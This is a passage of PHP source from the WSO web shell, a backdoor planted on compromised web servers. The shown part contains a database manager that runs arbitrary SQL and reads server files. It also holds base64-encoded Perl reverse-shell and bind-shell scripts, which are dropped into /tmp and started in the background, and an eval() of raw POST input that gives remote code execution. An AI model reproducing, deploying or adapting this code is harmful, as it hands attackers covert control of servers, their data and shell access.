1393 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1394 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1395 }
1396 </script>";
1397 if(isset($db) && $db->link){
1398 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1399 if(!empty($_POST['sql_base'])){
1400 $db->selectdb($_POST['sql_base']);
1401 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1402 $tbls_res = $db->listTables();
1403 while($item = $db->fetch($tbls_res)) {
1404 list($key, $value) = each($item);
1405 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1406 $value = htmlspecialchars($value);
1407 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1408 }
1409 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1410 if(@$_POST['p1'] == 'select') {
1411 $_POST['p1'] = 'query';
1412 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1413 $num = $db->fetch();
1414 $num = $num['n'];
1415 echo "<span>".$_POST['p2']."</span> ($num) ";
1416 for($i=0;$i<($num/30);$i++)
1417 if($i != (int)$_POST['p3'])
1418 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1419 else
1420 echo ($i+1)," ";
1421 if($_POST['type']=='pgsql')
1422 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1423 else
1424 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1425 echo "<br><br>";
1426 }
1427 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1428 $db->query(@$_POST['p3']);
1429 if($db->res !== false) {
1430 $title = false;
1431 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1432 $line = 1;
1433 while($item = $db->fetch()) {
1434 if(!$title) {
1435 echo '<tr>';
1436 foreach($item as $key => $value)
1437 echo '<th>'.$key.'</th>';
1438 reset($item);
1439 $title=true;
1440 echo '</tr><tr>';
1441 $line = 2;
1442 }
1443 echo '<tr class="l'.$line.'">';
1444 $line = $line==1?2:1;
1445 foreach($item as $key => $value) {
1446 if($value == null)
1447 echo '<td><i>null</i></td>';
1448 else
1449 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1450 }
1451 echo '</tr>';
1452 }
1453 echo '</table>';
1454 } else {
1455 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1456 }
1457 }
1458 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1459 echo "</td></tr>";
1460 }
1461 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1462 if(@$_POST['p1'] == 'loadfile') {
1463 $file = $db->loadFile($_POST['p2']);
1464 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1465 }
1466 }
1467 echo '</div>';
1468 wsoFooter();
1469}
1470function actionNetwork() {
1471 wsoHeader();
1472 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1473 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1474 echo "<h1>Network tools</h1><div class=content>
1475 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1476 <span>Bind port to /bin/sh [perl]</span><br/>
1477 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1478 </form>
1479 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1480 <span>Back-connect [perl]</span><br/>
1481 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1482 </form><br>";
1483 if(isset($_POST['p1'])) {
1484 function cf($f,$t) {
1485 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1486 if($w) {
1487 @fwrite($w,@base64_decode($t));
1488 @fclose($w);
1489 }
1490 }
1491 if($_POST['p1'] == 'bpp') {
1492 cf("/tmp/bp.pl",$bind_port_p);
1493 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1494 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1495 }
1496 if($_POST['p1'] == 'bcp') {
1497 cf("/tmp/bc.pl",$back_connect_p);
1498 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1499 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1500 }
1501 }
1502 echo '</div>';
1503 wsoFooter();
1504}
1505function actionRC() {
1506 if(!@$_POST['p1']) {
1507 $a = array(
1508 "uname" => php_uname(),
1509 "php_version" => phpversion(),
1510 "wso_version" => VERSION,
1511 "safemode" => @ini_get('safe_mode')
1512 );
1513 echo serialize($a);
1514 } else {
1515 eval($_POST['p1']);
1516 }
1517}
1518if( empty($_POST['a']) )
1519 if(isset($default_action) && function_exists('action' . $default_action))
1520 $_POST['a'] = $default_action;
1521 else
1522 $_POST['a'] = 'SecInfo';
1523if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1524 call_user_func('action' . $_POST['a']);
1525exit;